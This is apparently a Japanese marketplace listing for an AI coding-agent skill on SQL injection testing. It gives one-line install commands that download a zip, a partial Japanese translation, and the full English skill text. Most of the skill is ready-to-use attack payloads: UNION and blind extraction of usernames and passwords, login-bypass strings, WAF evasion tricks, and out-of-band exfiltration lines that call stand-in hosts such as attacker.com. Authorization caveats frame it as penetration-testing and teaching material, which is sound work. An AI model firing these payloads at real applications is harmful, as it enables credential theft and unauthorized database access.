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🛠️ SQLInjectionテスト

sql-injection-testing

ウェブアプリケーションのSQLインジェクション脆弱性を網羅的に診断し、データベースのセキュリティ上の欠陥を特定するSkill。

⏱ RAG構築 1週間 → 1日

📺 まず動画で見る(YouTube)

▶ 【衝撃】最強のAIエージェント「Claude Code」の最新機能・使い方・プログラミングをAIで効率化する超実践術を解説! ↗

※ jpskill.com 編集部が参考用に選んだ動画です。動画の内容と Skill の挙動は厳密には一致しないことがあります。

📜 元の英語説明(参考)

Execute comprehensive SQL injection vulnerability assessments on web applications to identify database security flaws, demonstrate exploitation techniques, and validate input sanitization mechanisms.

🇯🇵 日本人クリエイター向け解説

一言でいうと

ウェブアプリケーションのSQLインジェクション脆弱性を網羅的に診断し、データベースのセキュリティ上の欠陥を特定するSkill。

※ jpskill.com 編集部が日本のビジネス現場向けに補足した解説です。Skill本体の挙動とは独立した参考情報です。

⚡ おすすめ: コマンド1行でインストール(60秒)

下記のコマンドをコピーしてターミナル(Mac/Linux)または PowerShell(Windows)に貼り付けてください。 ダウンロード → 解凍 → 配置まで全自動。

🍎 Mac / 🐧 Linux
mkdir -p ~/.claude/skills && cd ~/.claude/skills && curl -L -o sql-injection-testing.zip https://jpskill.com/download/3527.zip && unzip -o sql-injection-testing.zip && rm sql-injection-testing.zip
🪟 Windows (PowerShell)
$d = "$env:USERPROFILE\.claude\skills"; ni -Force -ItemType Directory $d | Out-Null; iwr https://jpskill.com/download/3527.zip -OutFile "$d\sql-injection-testing.zip"; Expand-Archive "$d\sql-injection-testing.zip" -DestinationPath $d -Force; ri "$d\sql-injection-testing.zip"

完了後、Claude Code を再起動 → 普通に「動画プロンプト作って」のように話しかけるだけで自動発動します。

💾 手動でダウンロードしたい(コマンドが難しい人向け)
  1. 1. 下の青いボタンを押して sql-injection-testing.zip をダウンロード
  2. 2. ZIPファイルをダブルクリックで解凍 → sql-injection-testing フォルダができる
  3. 3. そのフォルダを C:\Users\あなたの名前\.claude\skills\(Win)または ~/.claude/skills/(Mac)へ移動
  4. 4. Claude Code を再起動

⚠️ ダウンロード・利用は自己責任でお願いします。当サイトは内容・動作・安全性について責任を負いません。

🎯 このSkillでできること

下記の説明文を読むと、このSkillがあなたに何をしてくれるかが分かります。Claudeにこの分野の依頼をすると、自動で発動します。

📦 インストール方法 (3ステップ)

  1. 1. 上の「ダウンロード」ボタンを押して .skill ファイルを取得
  2. 2. ファイル名の拡張子を .skill から .zip に変えて展開(macは自動展開可)
  3. 3. 展開してできたフォルダを、ホームフォルダの .claude/skills/ に置く
    • · macOS / Linux: ~/.claude/skills/
    • · Windows: %USERPROFILE%\.claude\skills\

Claude Code を再起動すれば完了。「このSkillを使って…」と話しかけなくても、関連する依頼で自動的に呼び出されます。

詳しい使い方ガイドを見る →
最終更新
2026-05-17
取得日時
2026-05-17
同梱ファイル
1

💬 こう話しかけるだけ — サンプルプロンプト

  • Sql Injection Testing を使って、最小構成のサンプルコードを示して
  • Sql Injection Testing の主な使い方と注意点を教えて
  • Sql Injection Testing を既存プロジェクトに組み込む方法を教えて

これをClaude Code に貼るだけで、このSkillが自動発動します。

📖 Skill本文(日本語訳)

※ 原文(英語/中国語)を Gemini で日本語化したものです。Claude 自身は原文を読みます。誤訳がある場合は原文をご確認ください。

[スキル名] sql-injection-testing 許可された使用のみ: このスキルは、許可されたセキュリティ評価、防御的検証、または管理された教育環境でのみ使用してください。

SQLインジェクションテスト

目的

Webアプリケーションに対して包括的なSQLインジェクション脆弱性評価を実行し、データベースのセキュリティ上の欠陥を特定し、悪用技術を実証し、入力サニタイズメカニズムを検証します。このスキルにより、インバンド、ブラインド、およびアウトオブバンドの攻撃ベクトル全体でSQLインジェクションの脆弱性を体系的に検出および悪用し、アプリケーションのセキュリティ体制を評価できます。

入力 / 前提条件

必要なアクセス

  • 注入可能なパラメータを持つターゲットWebアプリケーションのURL
  • リクエスト操作のためのBurp Suiteまたは同等のプロキシツール
  • 自動悪用のためのSQLMapのインストール
  • 開発者ツールが有効なブラウザ

技術要件

  • SQLクエリ構文(MySQL、MSSQL、PostgreSQL、Oracle)の理解
  • HTTPリクエスト/レスポンスサイクルの知識
  • データベーススキーマと構造に関する知識
  • テストレポートの書き込み権限

法的要件

  • 侵入テストの書面による許可
  • ターゲットURLとパラメータを含む定義されたスコープ
  • 緊急連絡手順の確立
  • データ処理契約の締結

出力 / 成果物

主要な出力

  • 重大度評価付きのSQLインジェクション脆弱性レポート
  • 抽出されたデータベーススキーマとテーブル構造
  • 認証バイパスの概念実証デモンストレーション
  • コード例を含む修正推奨事項

証拠成果物

  • 成功したインジェクションのスクリーンショット
  • HTTPリクエスト/レスポンスログ
  • データベースダンプ(サニタイズ済み)
  • ペイロードドキュメント

コアワークフロー

フェーズ1:検出と偵察

注入可能なパラメータの特定

データベースクエリと対話するユーザー制御の入力フィールドを特定します。

# 一般的なインジェクションポイント
- URLパラメータ: ?id=1, ?user=admin, ?category=books
- フォームフィールド: username, password, search, comments
- Cookie値: session_id, user_preference
- HTTPヘッダー: User-Agent, Referer, X-Forwarded-For

基本的な脆弱性指標のテスト

特殊文字を挿入してエラー応答をトリガーします。

-- シングルクォートテスト
'

-- ダブルクォートテスト
"

-- コメントシーケンス
--
#
/**/

-- クエリスタッキングのためのセミコロン
;

-- 括弧
)

アプリケーションの応答を監視します。

  • クエリ構造を明らかにするデータベースエラーメッセージ
  • 予期しないアプリケーションの動作変更
  • HTTP 500 内部サーバーエラー
  • 変更された応答コンテンツまたは長さ

ロジックテストペイロード

ブールベースの脆弱性の存在を確認します。

-- 真の条件テスト
page.asp?id=1 or 1=1
page.asp?id=1' or 1=1--
page.asp?id=1" or 1=1--

-- 偽の条件テスト  
page.asp?id=1 and 1=2
page.asp?id=1' and 1=2--

真と偽の条件間の応答を比較して、インジェクション機能を確認します。

フェーズ2:悪用技術

UNIONベースの抽出

攻撃者制御のSELECTステートメントを元のクエリと結合します。

-- カラム数を決定
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
-- エラーが発生するまで続行

-- 表示可能なカラムを見つける
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--
UNION SELECT NULL,'a',NULL--

-- データを抽出
UNION SELECT username,password,NULL FROM users--
UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--

エラーベースの抽出

情報を漏洩するデータベースエラーを強制的に発生させます。

-- MSSQLバージョン抽出
1' AND 1=CONVERT(int,(SELECT @@version))--

-- XPATHによるMySQL抽出
1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--

-- PostgreSQLキャストエラー
1' AND 1=CAST((SELECT version()) AS int)--

ブラインドブールベースの抽出

アプリケーションの動作変更を通じてデータを推測します。

-- 文字抽出
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--

-- 条件付き応答
1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--

時間ベースのブラインド抽出

確認のためにデータベースのスリープ関数を使用します。

-- MySQL
1' AND IF(1=1,SLEEP(5),0)--
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--

-- MSSQL
1'; WAITFOR DELAY '0:0:5'--

-- PostgreSQL
1'; SELECT pg_sleep(5)--

アウトオブバンド(OOB)抽出

外部チャネルを通じてデータを流出させます。

-- MSSQL DNS流出
1; EXEC master..xp_dirtree '\\attacker-server.com\share'--

-- MySQL DNS流出
1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))--

-- Oracle HTTPリクエスト
1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--

フェーズ3:認証バイパス

ログインフォームの悪用

資格情報検証をバイパスするためのペイロードを作成します。

-- クラシックバイパス
admin'--
admin'/*
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
') OR ('1'='1
') OR ('1'='1'--

-- ユーザー名列挙
admin' AND '1'='1
admin' AND '1'='2

クエリ変換の例:

-- 元のクエリ
SELECT * FROM users WHERE username='input' AND password='input'

-- 注入済み (username: admin'--)
SELECT * FROM users WHERE username='admin'--' AND password='anything'
-- コメントを介してパスワードチェックをバイパス

フェーズ4:フィルターバイパス技術

文字エンコーディングバイパス

特殊文字がブロックされている場合:

-- URLエンコーディング
%27 (シングルクォート)
%22 (ダブルクォート)
%23 (ハッシュ)

-- ダブルURLエンコーディング
%2527 (シングルクォート)

-- Unicode代替
U+0027 (アポストロフィ)
U+02B9 (修飾文字プライム)

-- 16進数文字列 (MySQL)
SELECT * FROM users WHERE name=0x61646D696E  -- 16進数で 'admin'

空白バイパス

ブロックされたスペースを置き換えます。

-- コメント置換
SELECT/**/username/**/FROM/**/users
SEL/**/ECT/**/username/**/FR/**/OM/**/users

-- 代替空白
SELECT%09username%09FROM%09users  -- タブ文字
📜 原文 SKILL.md(Claudeが読む英語/中国語)を展開

AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.

SQL Injection Testing

Purpose

Execute comprehensive SQL injection vulnerability assessments on web applications to identify database security flaws, demonstrate exploitation techniques, and validate input sanitization mechanisms. This skill enables systematic detection and exploitation of SQL injection vulnerabilities across in-band, blind, and out-of-band attack vectors to assess application security posture.

Inputs / Prerequisites

Required Access

  • Target web application URL with injectable parameters
  • Burp Suite or equivalent proxy tool for request manipulation
  • SQLMap installation for automated exploitation
  • Browser with developer tools enabled

Technical Requirements

  • Understanding of SQL query syntax (MySQL, MSSQL, PostgreSQL, Oracle)
  • Knowledge of HTTP request/response cycle
  • Familiarity with database schemas and structures
  • Write permissions for testing reports

Legal Prerequisites

  • Written authorization for penetration testing
  • Defined scope including target URLs and parameters
  • Emergency contact procedures established
  • Data handling agreements in place

Outputs / Deliverables

Primary Outputs

  • SQL injection vulnerability report with severity ratings
  • Extracted database schemas and table structures
  • Authentication bypass proof-of-concept demonstrations
  • Remediation recommendations with code examples

Evidence Artifacts

  • Screenshots of successful injections
  • HTTP request/response logs
  • Database dumps (sanitized)
  • Payload documentation

Core Workflow

Phase 1: Detection and Reconnaissance

Identify Injectable Parameters

Locate user-controlled input fields that interact with database queries:

# Common injection points
- URL parameters: ?id=1, ?user=admin, ?category=books
- Form fields: username, password, search, comments
- Cookie values: session_id, user_preference
- HTTP headers: User-Agent, Referer, X-Forwarded-For

Test for Basic Vulnerability Indicators

Insert special characters to trigger error responses:

-- Single quote test
'

-- Double quote test
"

-- Comment sequences
--
#
/**/

-- Semicolon for query stacking
;

-- Parentheses
)

Monitor application responses for:

  • Database error messages revealing query structure
  • Unexpected application behavior changes
  • HTTP 500 Internal Server errors
  • Modified response content or length

Logic Testing Payloads

Verify boolean-based vulnerability presence:

-- True condition tests
page.asp?id=1 or 1=1
page.asp?id=1' or 1=1--
page.asp?id=1" or 1=1--

-- False condition tests  
page.asp?id=1 and 1=2
page.asp?id=1' and 1=2--

Compare responses between true and false conditions to confirm injection capability.

Phase 2: Exploitation Techniques

UNION-Based Extraction

Combine attacker-controlled SELECT statements with original query:

-- Determine column count
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
-- Continue until error occurs

-- Find displayable columns
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--
UNION SELECT NULL,'a',NULL--

-- Extract data
UNION SELECT username,password,NULL FROM users--
UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--

Error-Based Extraction

Force database errors that leak information:

-- MSSQL version extraction
1' AND 1=CONVERT(int,(SELECT @@version))--

-- MySQL extraction via XPATH
1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--

-- PostgreSQL cast errors
1' AND 1=CAST((SELECT version()) AS int)--

Blind Boolean-Based Extraction

Infer data through application behavior changes:

-- Character extraction
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--

-- Conditional responses
1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--

Time-Based Blind Extraction

Use database sleep functions for confirmation:

-- MySQL
1' AND IF(1=1,SLEEP(5),0)--
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--

-- MSSQL
1'; WAITFOR DELAY '0:0:5'--

-- PostgreSQL
1'; SELECT pg_sleep(5)--

Out-of-Band (OOB) Extraction

Exfiltrate data through external channels:

-- MSSQL DNS exfiltration
1; EXEC master..xp_dirtree '\\attacker-server.com\share'--

-- MySQL DNS exfiltration
1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))--

-- Oracle HTTP request
1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--

Phase 3: Authentication Bypass

Login Form Exploitation

Craft payloads to bypass credential verification:

-- Classic bypass
admin'--
admin'/*
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
') OR ('1'='1
') OR ('1'='1'--

-- Username enumeration
admin' AND '1'='1
admin' AND '1'='2

Query transformation example:

-- Original query
SELECT * FROM users WHERE username='input' AND password='input'

-- Injected (username: admin'--)
SELECT * FROM users WHERE username='admin'--' AND password='anything'
-- Password check bypassed via comment

Phase 4: Filter Bypass Techniques

Character Encoding Bypass

When special characters are blocked:

-- URL encoding
%27 (single quote)
%22 (double quote)
%23 (hash)

-- Double URL encoding
%2527 (single quote)

-- Unicode alternatives
U+0027 (apostrophe)
U+02B9 (modifier letter prime)

-- Hexadecimal strings (MySQL)
SELECT * FROM users WHERE name=0x61646D696E  -- 'admin' in hex

Whitespace Bypass

Substitute blocked spaces:

-- Comment substitution
SELECT/**/username/**/FROM/**/users
SEL/**/ECT/**/username/**/FR/**/OM/**/users

-- Alternative whitespace
SELECT%09username%09FROM%09users  -- Tab character
SELECT%0Ausername%0AFROM%0Ausers  -- Newline

Keyword Bypass

Evade blacklisted SQL keywords:

-- Case variation
SeLeCt, sElEcT, SELECT

-- Inline comments
SEL/*bypass*/ECT
UN/*bypass*/ION

-- Double writing (if filter removes once)
SELSELECTECT → SELECT
UNUNIONION → UNION

-- Null byte injection
%00SELECT
SEL%00ECT

Quick Reference

Detection Test Sequence

1. Insert ' → Check for error
2. Insert " → Check for error
3. Try: OR 1=1-- → Check for behavior change
4. Try: AND 1=2-- → Check for behavior change
5. Try: ' WAITFOR DELAY '0:0:5'-- → Check for delay

Database Fingerprinting

-- MySQL
SELECT @@version
SELECT version()

-- MSSQL
SELECT @@version
SELECT @@servername

-- PostgreSQL
SELECT version()

-- Oracle
SELECT banner FROM v$version
SELECT * FROM v$version

Information Schema Queries

-- MySQL/MSSQL table enumeration
SELECT table_name FROM information_schema.tables WHERE table_schema=database()

-- Column enumeration
SELECT column_name FROM information_schema.columns WHERE table_name='users'

-- Oracle equivalent
SELECT table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'

Common Payloads Quick List

Purpose Payload
Basic test ' or "
Boolean true OR 1=1--
Boolean false AND 1=2--
Comment (MySQL) # or --
Comment (MSSQL) --
UNION probe UNION SELECT NULL--
Time delay AND SLEEP(5)--
Auth bypass ' OR '1'='1

Constraints and Guardrails

Operational Boundaries

  • Never execute destructive queries (DROP, DELETE, TRUNCATE) without explicit authorization
  • Limit data extraction to proof-of-concept quantities
  • Avoid denial-of-service through resource-intensive queries
  • Stop immediately upon detecting production database with real user data

Technical Limitations

  • WAF/IPS may block common payloads requiring evasion techniques
  • Parameterized queries prevent standard injection
  • Some blind injection requires extensive requests (rate limiting concerns)
  • Second-order injection requires understanding of data flow

Legal and Ethical Requirements

  • Written scope agreement must exist before testing
  • Document all extracted data and handle per data protection requirements
  • Report critical vulnerabilities immediately through agreed channels
  • Never access data beyond scope requirements

Examples

Example 1: E-commerce Product Page SQLi

Scenario: Testing product display page with ID parameter

Initial Request:

GET /product.php?id=5 HTTP/1.1

Detection Test:

GET /product.php?id=5' HTTP/1.1
Response: MySQL error - syntax error near ''' 

Column Enumeration:

GET /product.php?id=5 ORDER BY 4-- HTTP/1.1
Response: Normal
GET /product.php?id=5 ORDER BY 5-- HTTP/1.1
Response: Error (4 columns confirmed)

Data Extraction:

GET /product.php?id=-5 UNION SELECT 1,username,password,4 FROM admin_users-- HTTP/1.1
Response: Displays admin credentials

Example 2: Blind Time-Based Extraction

Scenario: No visible output, testing for blind injection

Confirm Vulnerability:

id=5' AND SLEEP(5)-- 
-- Response delayed by 5 seconds (vulnerable confirmed)

Extract Database Name Length:

id=5' AND IF(LENGTH(database())=8,SLEEP(5),0)--
-- Delay confirms database name is 8 characters

Extract Characters:

id=5' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
-- Iterate through characters to extract: 'appstore'

Example 3: Login Bypass

Target: Admin login form

Standard Login Query:

SELECT * FROM users WHERE username='[input]' AND password='[input]'

Injection Payload:

Username: administrator'--
Password: anything

Resulting Query:

SELECT * FROM users WHERE username='administrator'--' AND password='anything'

Result: Password check bypassed, authenticated as administrator.

Troubleshooting

No Error Messages Displayed

  • Application uses generic error handling
  • Switch to blind injection techniques (boolean or time-based)
  • Monitor response length differences instead of content

UNION Injection Fails

  • Column count may be incorrect → Test with ORDER BY
  • Data types may mismatch → Use NULL for all columns first
  • Results may not display → Find injectable column positions

WAF Blocking Requests

  • Use encoding techniques (URL, hex, unicode)
  • Insert inline comments within keywords
  • Try alternative syntax for same operations
  • Fragment payload across multiple parameters

Payload Not Executing

  • Verify correct comment syntax for database type
  • Check if application uses parameterized queries
  • Confirm input reaches SQL query (not filtered client-side)
  • Test different injection points (headers, cookies)

Time-Based Injection Inconsistent

  • Network latency may cause false positives
  • Use longer delays (10+ seconds) for clarity
  • Run multiple tests to confirm pattern
  • Consider server-side caching effects

When to Use

This skill is applicable to execute the workflow or actions described in the overview.